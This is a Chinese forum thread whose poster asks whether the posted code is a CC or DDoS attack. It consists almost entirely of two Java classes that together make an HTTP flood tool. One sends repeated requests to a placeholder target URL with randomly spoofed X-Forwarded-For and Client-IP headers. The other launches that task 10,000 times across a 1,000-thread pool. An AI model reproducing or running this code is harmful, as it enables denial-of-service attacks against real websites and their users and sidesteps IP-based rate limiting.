网络吧 关注:924,573贴子:1,554,771
  • 1回复贴,共1

大家来看看这个是CC还是DDos

只看楼主收藏回复

import java.io.BufferedInputStream;
import java.io.IOException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
public class MyThread implements Runnable {
private static final String TEST_URL = "http://输入要访问的网站";
private static final int BUFFSIZE = 1024;
private static String getRandomIP() {
return String.format("%d.%d.%d.%d",
(int)(Math.random()*256), (int)(Math.random()*256),
(int)(Math.random()*256), (int)(Math.random()*256));
}
@Override
public void run() {
for (int i = 0; i < 10; i++) {
try {
URL url = new URL(TEST_URL);
URLConnection conn = url.openConnection();
conn.setRequestProperty("Content-Type", "application/html;charset=UTF-8");
String ip = getRandomIP();
conn.setRequestProperty("X-FORWARDED-FOR", ip);
conn.setRequestProperty("HTTP_CLIENT_IP", ip);
System.out.println("Connection opened: " + ip);
BufferedInputStream bis = new BufferedInputStream(conn.getInputStream());
byte[] bytes = new byte[BUFFSIZE];
int len = -1;
StringBuffer sb = new StringBuffer();
if (bis != null) {
if ((len = bis.read()) != -1) {
sb.append(new String(bytes, 0, len));
System.out.println(sb.toString());
bis.close();
}
}
} catch (MalformedURLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}


IP属地:浙江1楼2020-04-24 12:30回复
    import java.util.concurrent.ExecutorService;
    import java.util.concurrent.Executors;
    public class DDos {
    public static void main(String[] args) {
    ExecutorService es = Executors.newFixedThreadPool(1000);
    Thread thread = new Thread(new MyThread());
    for (int i = 0; i < 10000; i++) {
    es.execute(thread);
    }
    }
    }


    IP属地:浙江2楼2020-04-24 12:30
    回复